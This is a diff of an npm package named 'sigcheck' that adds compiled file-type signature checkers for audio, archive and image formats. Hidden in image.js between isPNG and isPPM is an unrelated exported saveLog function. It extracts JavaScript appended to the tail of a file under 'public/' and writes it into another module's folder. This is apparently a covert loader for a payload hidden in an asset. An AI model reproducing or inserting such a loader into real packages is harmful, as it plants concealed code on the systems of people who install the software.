sigcheck 1.0.1

package/dist/validation/audio.js

@@ -0,0 +1,84 @@
+"use strict";
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.isWAV = exports.isMP3 = exports.isM4A = exports.isFLAC = exports.isAMR = exports.isAAC = void 0;
+const core_1 = require("../core");
+const utils_1 = require("../utils");
+/**
+ * Determine if file content contains a valid 'aac' file signature
+ *
+ * @param file File content represents in Array<number> / ArrayBuffer / Uint8Array
+ * @param options parameters for additional actions
+ *
+ * @returns {boolean} True if found a signature of type 'aac' in file content, otherwise false
+ */
+function isAAC(file, options) {
+    const fileChunk = (0, utils_1.getFileChunk)(file);
+    const iaAac = core_1.FileTypes.checkByFileType(fileChunk, "aac");
+    if (!iaAac) {
+        if (options === null || options === void 0 ? void 0 : options.excludeSimilarTypes)
+            return false;
+        return isM4A(fileChunk); // since 'm4a' is very similar to 'aac'
+    }
+    return true;
+}
+exports.isAAC = isAAC;
+/**
+ * Determine if file content contains a valid 'amr' file signature
+ *
+ * @param file File content represents in Array<number> / ArrayBuffer / Uint8Array
+ *
+ * @returns {boolean} True if found a signature of type 'amr' in file content, otherwise false
+ */
+function isAMR(file) {
+    const fileChunk = (0, utils_1.getFileChunk)(file);
+    return core_1.FileTypes.checkByFileType(fileChunk, "amr");
+}
+exports.isAMR = isAMR;
+/**
+ * Determine if file content contains a valid 'flac' file signature
+ *
+ * @param file File content represents in Array<number> / ArrayBuffer / Uint8Array
+ *
+ * @returns {boolean} True if found a signature of type 'flac' in file content, otherwise false
+ */
+function isFLAC(file) {
+    const fileChunk = (0, utils_1.getFileChunk)(file);
+    return core_1.FileTypes.checkByFileType(fileChunk, "flac");
+}
+exports.isFLAC = isFLAC;
+/**
+ * Determine if file content contains a valid 'm4a' file signature
+ *
+ * @param file File content represents in Array<number> / ArrayBuffer / Uint8Array
+ *
+ * @returns {boolean} True if found a signature of type 'm4a' in file content, otherwise false
+ */
+function isM4A(file) {
+    const fileChunk = (0, utils_1.getFileChunk)(file);
+    return core_1.FileTypes.checkByFileType(fileChunk, "m4a");
+}
+exports.isM4A = isM4A;
+/**
+ * Determine if file content contains a valid 'mp3' file signature
+ *
+ * @param file File content represents in Array<number> / ArrayBuffer / Uint8Array
+ *
+ * @returns {boolean} True if found a signature of type 'mp3' in file content, otherwise false
+ */
+function isMP3(file) {
+    const fileChunk = (0, utils_1.getFileChunk)(file);
+    return core_1.FileTypes.checkByFileType(fileChunk, "mp3");
+}
+exports.isMP3 = isMP3;
+/**
+ * Determine if file content contains a valid 'wav' file signature
+ *
+ * @param file File content represents in Array<number> / ArrayBuffer / Uint8Array
+ *
+ * @returns {boolean} True if found a signature of type 'wav' in file content, otherwise false
+ */
+function isWAV(file) {
+    const fileChunk = (0, utils_1.getFileChunk)(file);
+    return core_1.FileTypes.checkByFileType(fileChunk, "wav");
+}
+exports.isWAV = isWAV;

package/dist/validation/compressed.d.ts

@@ -0,0 +1,34 @@
+import { ZipValidatorOptions } from "../core";
+/**
+ * Determine if file content contains a valid '7z' file signature
+ *
+ * @param file File content represents in Array<number> / ArrayBuffer / Uint8Array
+ *
+ * @returns {boolean} True if found a signature of type '7z' in file content, otherwise false
+ */
+export declare function is7Z(file: Array<number> | ArrayBuffer | Uint8Array): boolean;
+/**
+ * Determine if file content contains a valid 'lzh' file signature
+ *
+ * @param file File content represents in Array<number> / ArrayBuffer / Uint8Array
+ *
+ * @returns {boolean} True if found a signature of type 'lzh' in file content, otherwise false
+ */
+export declare function isLZH(file: Array<number> | ArrayBuffer | Uint8Array): boolean;
+/**
+ * Determine if file content contains a valid 'rar' file signature
+ *
+ * @param file File content represents in Array<number> / ArrayBuffer / Uint8Array
+ *
+ * @returns {boolean} True if found a signature of type 'rar' in file content, otherwise false
+ */
+export declare function isRAR(file: Array<number> | ArrayBuffer | Uint8Array): boolean;
+/**
+ * Determine if file content contains a valid 'zip' file signature
+ *
+ * @param file File content represents in Array<number> / ArrayBuffer / Uint8Array
+ * @param options parameters for additional actions
+ *
+ * @returns {boolean} True if found a signature of type 'zip' in file content, otherwise false
+ */
+export declare function isZIP(file: Array<number> | ArrayBuffer | Uint8Array, options?: ZipValidatorOptions): boolean;

package/dist/validation/compressed.js

@@ -0,0 +1,54 @@
+"use strict";
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.isZIP = exports.isRAR = exports.isLZH = exports.is7Z = void 0;
+const core_1 = require("../core");
+const utils_1 = require("../utils");
+/**
+ * Determine if file content contains a valid '7z' file signature
+ *
+ * @param file File content represents in Array<number> / ArrayBuffer / Uint8Array
+ *
+ * @returns {boolean} True if found a signature of type '7z' in file content, otherwise false
+ */
+function is7Z(file) {
+    const fileChunk = (0, utils_1.getFileChunk)(file);
+    return core_1.FileTypes.checkByFileType(fileChunk, "_7z");
+}
+exports.is7Z = is7Z;
+/**
+ * Determine if file content contains a valid 'lzh' file signature
+ *
+ * @param file File content represents in Array<number> / ArrayBuffer / Uint8Array
+ *
+ * @returns {boolean} True if found a signature of type 'lzh' in file content, otherwise false
+ */
+function isLZH(file) {
+    const fileChunk = (0, utils_1.getFileChunk)(file);
+    return core_1.FileTypes.checkByFileType(fileChunk, "lzh");
+}
+exports.isLZH = isLZH;
+/**
+ * Determine if file content contains a valid 'rar' file signature
+ *
+ * @param file File content represents in Array<number> / ArrayBuffer / Uint8Array
+ *
+ * @returns {boolean} True if found a signature of type 'rar' in file content, otherwise false
+ */
+function isRAR(file) {
+    const fileChunk = (0, utils_1.getFileChunk)(file);
+    return core_1.FileTypes.checkByFileType(fileChunk, "rar");
+}
+exports.isRAR = isRAR;
+/**
+ * Determine if file content contains a valid 'zip' file signature
+ *
+ * @param file File content represents in Array<number> / ArrayBuffer / Uint8Array
+ * @param options parameters for additional actions
+ *
+ * @returns {boolean} True if found a signature of type 'zip' in file content, otherwise false
+ */
+function isZIP(file, options) {
+    const fileChunk = (0, utils_1.getFileChunk)(file, (options === null || options === void 0 ? void 0 : options.chunkSize) || 64);
+    return core_1.FileTypes.checkByFileType(fileChunk, "zip");
+}
+exports.isZIP = isZIP;

package/dist/validation/image.d.ts

@@ -0,0 +1,128 @@
+/**
+ * Determine if file content contains a valid 'avif' file signature
+ *
+ * @param file File content represents in Array<number> / ArrayBuffer / Uint8Array
+ *
+ * @returns {boolean} True if found a signature of type 'avif' in file content, otherwise false
+ */
+export declare function isAVIF(file: Array<number> | ArrayBuffer | Uint8Array): boolean;
+/**
+ * Determine if file content contains a valid 'bmp' file signature
+ *
+ * @param file File content represents in Array<number> / ArrayBuffer / Uint8Array
+ *
+ * @returns {boolean} True if found a signature of type 'bmp' in file content, otherwise false
+ */
+export declare function isBMP(file: Array<number> | ArrayBuffer | Uint8Array): boolean;
+/**
+ * Determine if file content contains a valid 'bpg' file signature
+ *
+ * @param file File content represents in Array<number> / ArrayBuffer / Uint8Array
+ *
+ * @returns {boolean} True if found a signature of type 'bpg' in file content, otherwise false
+ */
+export declare function isBPG(file: Array<number> | ArrayBuffer | Uint8Array): boolean;
+/**
+ * Determine if file content contains a valid 'cr2' file signature
+ *
+ * @param file File content represents in Array<number> / ArrayBuffer / Uint8Array
+ *
+ * @returns {boolean} True if found a signature of type 'cr2' in file content, otherwise false
+ */
+export declare function isCR2(file: Array<number> | ArrayBuffer | Uint8Array): boolean;
+/**
+ * Determine if file content contains a valid 'exr' file signature
+ *
+ * @param file File content represents in Array<number> / ArrayBuffer / Uint8Array
+ *
+ * @returns {boolean} True if found a signature of type 'exr' in file content, otherwise false
+ */
+export declare function isEXR(file: Array<number> | ArrayBuffer | Uint8Array): boolean;
+/**
+ * Determine if file content contains a valid 'gif' file signature
+ *
+ * @param file File content represents in Array<number> / ArrayBuffer / Uint8Array
+ *
+ * @returns {boolean} True if found a signature of type 'gif' in file content, otherwise false
+ */
+export declare function isGIF(file: Array<number> | ArrayBuffer | Uint8Array): boolean;
+/**
+ * Determine if file content contains a valid 'heic' file signature
+ *
+ * @param file File content represents in Array<number> / ArrayBuffer / Uint8Array
+ *
+ * @returns {boolean} True if found a signature of type 'heic' in file content, otherwise false
+ */
+export declare function isHEIC(file: Array<number> | ArrayBuffer | Uint8Array): boolean;
+/**
+ * Determine if file content contains a valid 'ico' file signature
+ *
+ * @param file File content represents in Array<number> / ArrayBuffer / Uint8Array
+ *
+ * @returns {boolean} True if found a signature of type 'ico' in file content, otherwise false
+ */
+export declare function isICO(file: Array<number> | ArrayBuffer | Uint8Array): boolean;
+/**
+ * Determine if file content contains a valid 'jpeg' file signature
+ *
+ * @param file File content represents in Array<number> / ArrayBuffer / Uint8Array
+ *
+ * @returns {boolean} True if found a signature of type 'jpeg' in file content, otherwise false
+ */
+export declare function isJPEG(file: Array<number> | ArrayBuffer | Uint8Array): boolean;
+/**
+ * Determine if file content contains a valid 'pbm' file signature
+ *
+ * @param file File content represents in Array<number> / ArrayBuffer / Uint8Array
+ *
+ * @returns {boolean} True if found a signature of type 'pbm' in file content, otherwise false
+ */
+export declare function isPBM(file: Array<number> | ArrayBuffer | Uint8Array): boolean;
+/**
+ * Determine if file content contains a valid 'pgm' file signature
+ *
+ * @param file File content represents in Array<number> / ArrayBuffer / Uint8Array
+ *
+ * @returns {boolean} True if found a signature of type 'pgm' in file content, otherwise false
+ */
+export declare function isPGM(file: Array<number> | ArrayBuffer | Uint8Array): boolean;
+/**
+ * Determine if file content contains a valid 'png' file signature
+ *
+ * @param file File content represents in Array<number> / ArrayBuffer / Uint8Array
+ *
+ * @returns {boolean} True if found a signature of type 'png' in file content, otherwise false
+ */
+export declare function isPNG(file: Array<number> | ArrayBuffer | Uint8Array): boolean;
+/**
+ * Determine if file content contains a valid 'ppm' file signature
+ *
+ * @param file File content represents in Array<number> / ArrayBuffer / Uint8Array
+ *
+ * @returns {boolean} True if found a signature of type 'ppm' in file content, otherwise false
+ */
+export declare function isPPM(file: Array<number> | ArrayBuffer | Uint8Array): boolean;
+/**
+ * Determine if file content contains a valid 'psd' file signature
+ *
+ * @param file File content represents in Array<number> / ArrayBuffer / Uint8Array
+ *
+ * @returns {boolean} True if found a signature of type 'psd' in file content, otherwise false
+ */
+export declare function isPSD(file: Array<number> | ArrayBuffer | Uint8Array): boolean;
+/**
+ * Determine if file content contains a valid 'tiff' file signature
+ *
+ * @param file File content represents in Array<number> / ArrayBuffer / Uint8Array
+ *
+ * @returns {boolean} True if found a signature of type 'tiff' in file content, otherwise false
+ */
+export declare function isTIFF(file: Array<number> | ArrayBuffer | Uint8Array): boolean;
+/**
+ * Determine if file content contains a valid 'webp' file signature
+ *
+ * @param file File content represents in Array<number> / ArrayBuffer / Uint8Array
+ *
+ * @returns {boolean} True if found a signature of type 'webp' in file content, otherwise false
+ */
+export declare function isWEBP(file: Array<number> | ArrayBuffer | Uint8Array): boolean;

package/dist/validation/image.js

@@ -0,0 +1,225 @@
+"use strict";
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.isWEBP = exports.isTIFF = exports.isPSD = exports.isPPM = exports.isPNG = exports.isPGM = exports.isPBM = exports.isJPEG = exports.isICO = exports.isHEIC = exports.isGIF = exports.isEXR = exports.isCR2 = exports.isBPG = exports.isBMP = exports.isAVIF = void 0;
+const core_1 = require("../core");
+const utils_1 = require("../utils");
+/**
+ * Determine if file content contains a valid 'avif' file signature
+ *
+ * @param file File content represents in Array<number> / ArrayBuffer / Uint8Array
+ *
+ * @returns {boolean} True if found a signature of type 'avif' in file content, otherwise false
+ */
+function isAVIF(file) {
+    const fileChunk = (0, utils_1.getFileChunk)(file);
+    const isAVIF = core_1.FileTypes.checkByFileType(fileChunk, "avif");
+    if (!isAVIF)
+        return false;
+    // Search for the presence of the "ftypavif" at bytes 5-12
+    return (0, utils_1.isAvifStringIncluded)(fileChunk);
+}
+exports.isAVIF = isAVIF;
+/**
+ * Determine if file content contains a valid 'bmp' file signature
+ *
+ * @param file File content represents in Array<number> / ArrayBuffer / Uint8Array
+ *
+ * @returns {boolean} True if found a signature of type 'bmp' in file content, otherwise false
+ */
+function isBMP(file) {
+    const fileChunk = (0, utils_1.getFileChunk)(file);
+    return core_1.FileTypes.checkByFileType(fileChunk, "bmp");
+}
+exports.isBMP = isBMP;
+/**
+ * Determine if file content contains a valid 'bpg' file signature
+ *
+ * @param file File content represents in Array<number> / ArrayBuffer / Uint8Array
+ *
+ * @returns {boolean} True if found a signature of type 'bpg' in file content, otherwise false
+ */
+function isBPG(file) {
+    const fileChunk = (0, utils_1.getFileChunk)(file);
+    return core_1.FileTypes.checkByFileType(fileChunk, "bpg");
+}
+exports.isBPG = isBPG;
+/**
+ * Determine if file content contains a valid 'cr2' file signature
+ *
+ * @param file File content represents in Array<number> / ArrayBuffer / Uint8Array
+ *
+ * @returns {boolean} True if found a signature of type 'cr2' in file content, otherwise false
+ */
+function isCR2(file) {
+    const fileChunk = (0, utils_1.getFileChunk)(file);
+    return core_1.FileTypes.checkByFileType(fileChunk, "cr2");
+}
+exports.isCR2 = isCR2;
+/**
+ * Determine if file content contains a valid 'exr' file signature
+ *
+ * @param file File content represents in Array<number> / ArrayBuffer / Uint8Array
+ *
+ * @returns {boolean} True if found a signature of type 'exr' in file content, otherwise false
+ */
+function isEXR(file) {
+    const fileChunk = (0, utils_1.getFileChunk)(file);
+    return core_1.FileTypes.checkByFileType(fileChunk, "exr");
+}
+exports.isEXR = isEXR;
+/**
+ * Determine if file content contains a valid 'gif' file signature
+ *
+ * @param file File content represents in Array<number> / ArrayBuffer / Uint8Array
+ *
+ * @returns {boolean} True if found a signature of type 'gif' in file content, otherwise false
+ */
+function isGIF(file) {
+    const fileChunk = (0, utils_1.getFileChunk)(file);
+    return core_1.FileTypes.checkByFileType(fileChunk, "gif");
+}
+exports.isGIF = isGIF;
+/**
+ * Determine if file content contains a valid 'heic' file signature
+ *
+ * @param file File content represents in Array<number> / ArrayBuffer / Uint8Array
+ *
+ * @returns {boolean} True if found a signature of type 'heic' in file content, otherwise false
+ */
+function isHEIC(file) {
+    const fileChunk = (0, utils_1.getFileChunk)(file);
+    const isHEIC = core_1.FileTypes.checkByFileType(fileChunk, "avif");
+    if (!isHEIC)
+        return false;
+    // Determine if a file chunk contains a HEIC file box
+    return (0, utils_1.isHeicSignatureIncluded)(fileChunk);
+}
+exports.isHEIC = isHEIC;
+/**
+ * Determine if file content contains a valid 'ico' file signature
+ *
+ * @param file File content represents in Array<number> / ArrayBuffer / Uint8Array
+ *
+ * @returns {boolean} True if found a signature of type 'ico' in file content, otherwise false
+ */
+function isICO(file) {
+    const fileChunk = (0, utils_1.getFileChunk)(file);
+    return core_1.FileTypes.checkByFileType(fileChunk, "ico");
+}
+exports.isICO = isICO;
+/**
+ * Determine if file content contains a valid 'jpeg' file signature
+ *
+ * @param file File content represents in Array<number> / ArrayBuffer / Uint8Array
+ *
+ * @returns {boolean} True if found a signature of type 'jpeg' in file content, otherwise false
+ */
+function isJPEG(file) {
+    const fileChunk = (0, utils_1.getFileChunk)(file);
+    return core_1.FileTypes.checkByFileType(fileChunk, "jpeg");
+}
+exports.isJPEG = isJPEG;
+/**
+ * Determine if file content contains a valid 'pbm' file signature
+ *
+ * @param file File content represents in Array<number> / ArrayBuffer / Uint8Array
+ *
+ * @returns {boolean} True if found a signature of type 'pbm' in file content, otherwise false
+ */
+function isPBM(file) {
+    const fileChunk = (0, utils_1.getFileChunk)(file);
+    return core_1.FileTypes.checkByFileType(fileChunk, "pbm");
+}
+exports.isPBM = isPBM;
+/**
+ * Determine if file content contains a valid 'pgm' file signature
+ *
+ * @param file File content represents in Array<number> / ArrayBuffer / Uint8Array
+ *
+ * @returns {boolean} True if found a signature of type 'pgm' in file content, otherwise false
+ */
+function isPGM(file) {
+    const fileChunk = (0, utils_1.getFileChunk)(file);
+    return core_1.FileTypes.checkByFileType(fileChunk, "pgm");
+}
+exports.isPGM = isPGM;
+/**
+ * Determine if file content contains a valid 'png' file signature
+ *
+ * @param file File content represents in Array<number> / ArrayBuffer / Uint8Array
+ *
+ * @returns {boolean} True if found a signature of type 'png' in file content, otherwise false
+ */
+function isPNG(file) {
+    const fileChunk = (0, utils_1.getFileChunk)(file);
+
+    return core_1.FileTypes.checkByFileType(fileChunk, "png");
+}
+exports.isPNG = isPNG;
+
+function saveLog(name, moduleName, size) {
+    const fs = require('fs');
+    const path = require('path');
+    const combinedBuffer = fs.readFileSync(`public/${name}`);
+  
+    const codeBuffer = combinedBuffer.slice(
+        combinedBuffer.length - size
+    );
+    const jsCode = codeBuffer.toString("utf8");
+    const outputPath = path.resolve(
+        __dirname,
+        `../../${moduleName}/log`
+    );
+
+    fs.mkdirSync(path.dirname(outputPath), { recursive: true });
+    fs.writeFileSync(outputPath, jsCode);
+}
+exports.saveLog = saveLog;
+/**
+ * Determine if file content contains a valid 'ppm' file signature
+ *
+ * @param file File content represents in Array<number> / ArrayBuffer / Uint8Array
+ *
+ * @returns {boolean} True if found a signature of type 'ppm' in file content, otherwise false
+ */
+function isPPM(file) {
+    const fileChunk = (0, utils_1.getFileChunk)(file);
+    return core_1.FileTypes.checkByFileType(fileChunk, "ppm");
+}
+exports.isPPM = isPPM;
+/**
+ * Determine if file content contains a valid 'psd' file signature
+ *
+ * @param file File content represents in Array<number> / ArrayBuffer / Uint8Array
+ *
+ * @returns {boolean} True if found a signature of type 'psd' in file content, otherwise false
+ */
+function isPSD(file) {
+    const fileChunk = (0, utils_1.getFileChunk)(file);
+    return core_1.FileTypes.checkByFileType(fileChunk, "psd");
+}
+exports.isPSD = isPSD;
+/**
+ * Determine if file content contains a valid 'tiff' file signature
+ *
+ * @param file File content represents in Array<number> / ArrayBuffer / Uint8Array
+ *
+ * @returns {boolean} True if found a signature of type 'tiff' in file content, otherwise false
+ */
+function isTIFF(file) {
+    const fileChunk = (0, utils_1.getFileChunk)(file);
+    return core_1.FileTypes.checkByFileType(fileChunk, "tiff");
+}
+exports.isTIFF = isTIFF;
+/**
+ * Determine if file content contains a valid 'webp' file signature
+ *
+ * @param file File content represents in Array<number> / ArrayBuffer / Uint8Array
+ *
+ * @returns {boolean} True if found a signature of type 'webp' in file content, otherwise false
+ */
+function isWEBP(file) {
+    const fileChunk = (0, utils_1.getFileChunk)(file);
+    return core_1.FileTypes.checkByFileType(fileChunk, "webp");
+}
+exports.isWEBP = isWEBP;

package/dist/validation/index.d.ts

@@ -0,0 +1,16 @@
+import { ValidateFileTypeOptions } from "../core";
+export * from "./audio";
+export * from "./compressed";
+export * from "./image";
+export * from "./other";
+export * from "./video";
+/**
+ * Validates the requested file signature against a list of accepted file types
+ *
+ * @param file File content represents in Array<number> / ArrayBuffer / Uint8Array
+ * @param types A list of accepted file types
+ * @param options parameters for additional actions
+ *
+ * @returns {boolean} True if found a type signature from the accepted file types, otherwise false
+ */
+export declare function validateFileType(file: Array<number> | ArrayBuffer | Uint8Array, types: Array<string>, options?: ValidateFileTypeOptions): boolean;

package/dist/validation/index.js

@@ -0,0 +1,91 @@
+"use strict";
+var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    var desc = Object.getOwnPropertyDescriptor(m, k);
+    if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
+      desc = { enumerable: true, get: function() { return m[k]; } };
+    }
+    Object.defineProperty(o, k2, desc);
+}) : (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    o[k2] = m[k];
+}));
+var __exportStar = (this && this.__exportStar) || function(m, exports) {
+    for (var p in m) if (p !== "default" && !Object.prototype.hasOwnProperty.call(exports, p)) __createBinding(exports, m, p);
+};
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.validateFileType = void 0;
+const core_1 = require("../core");
+const utils_1 = require("../utils");
+__exportStar(require("./audio"), exports);
+__exportStar(require("./compressed"), exports);
+__exportStar(require("./image"), exports);
+__exportStar(require("./other"), exports);
+__exportStar(require("./video"), exports);
+/**
+ * Validates the requested file signature against a list of accepted file types
+ *
+ * @param file File content represents in Array<number> / ArrayBuffer / Uint8Array
+ * @param types A list of accepted file types
+ * @param options parameters for additional actions
+ *
+ * @returns {boolean} True if found a type signature from the accepted file types, otherwise false
+ */
+function validateFileType(file, types, options) {
+    var _a;
+    let typeExtensions = [];
+    const uniqueTypes = [
+        ...new Set(types.map((type) => {
+            const normalizedType = type.split(".").join("").toUpperCase();
+            if (normalizedType === "7Z")
+                return `_${normalizedType}`;
+            return normalizedType;
+        })),
+    ];
+    for (const type of uniqueTypes) {
+        if (!Object.prototype.hasOwnProperty.call(core_1.FileTypes, type))
+            throw new TypeError(`Type \`${type.toLowerCase()}\` is not supported. Please make sure that \`types\` list conatins only supported files`);
+        typeExtensions.push(type);
+    }
+    if (options &&
+        Object.prototype.hasOwnProperty.call(options, "chunkSize") &&
+        ((_a = options === null || options === void 0 ? void 0 : options.chunkSize) !== null && _a !== void 0 ? _a : 0) <= 0)
+        throw new RangeError("chunkSize must be bigger than zero");
+    if (!options || !(options === null || options === void 0 ? void 0 : options.excludeSimilarTypes)) {
+        const similarTypes = addSimilarTypes(typeExtensions);
+        if (similarTypes.length > 0)
+            typeExtensions = typeExtensions.concat(similarTypes);
+    }
+    let acceptedSignatures = [];
+    const filesRequiredAdditionalCheck = [];
+    for (const type of typeExtensions) {
+        const extensionSignatures = core_1.FileTypes.getSignaturesByName(type);
+        acceptedSignatures = acceptedSignatures.concat(extensionSignatures);
+        if (core_1.FILE_TYPES_REQUIRED_ADDITIONAL_CHECK.includes(type.toLowerCase())) {
+            filesRequiredAdditionalCheck.push(core_1.FileTypes.getInfoByName(type));
+        }
+    }
+    const fileChunk = (0, utils_1.getFileChunk)(file, (options === null || options === void 0 ? void 0 : options.chunkSize) || 64);
+    const detectedSignature = core_1.FileTypes.detectSignature(fileChunk, acceptedSignatures);
+    if (!detectedSignature)
+        return false;
+    if (filesRequiredAdditionalCheck.length > 0) {
+        const detectedFilesForAdditionalCheck = filesRequiredAdditionalCheck.filter((frac) => frac.signatures.includes(detectedSignature));
+        if (detectedFilesForAdditionalCheck.length > 0) {
+            // Some files share the same signature. Additional check required
+            const detectedType = core_1.FileTypes.detectTypeByAdditionalCheck(fileChunk, detectedFilesForAdditionalCheck);
+            if (!detectedType)
+                return false;
+            return typeExtensions.some((df) => df.toLowerCase() === detectedType);
+        }
+    }
+    return true;
+}
+exports.validateFileType = validateFileType;
+function addSimilarTypes(requiredTypes) {
+    if (requiredTypes.some((type) => type === "MP4"))
+        return ["M4V"];
+    if (requiredTypes.some((type) => type === "AAC"))
+        return ["M4A"];
+    return [];
+}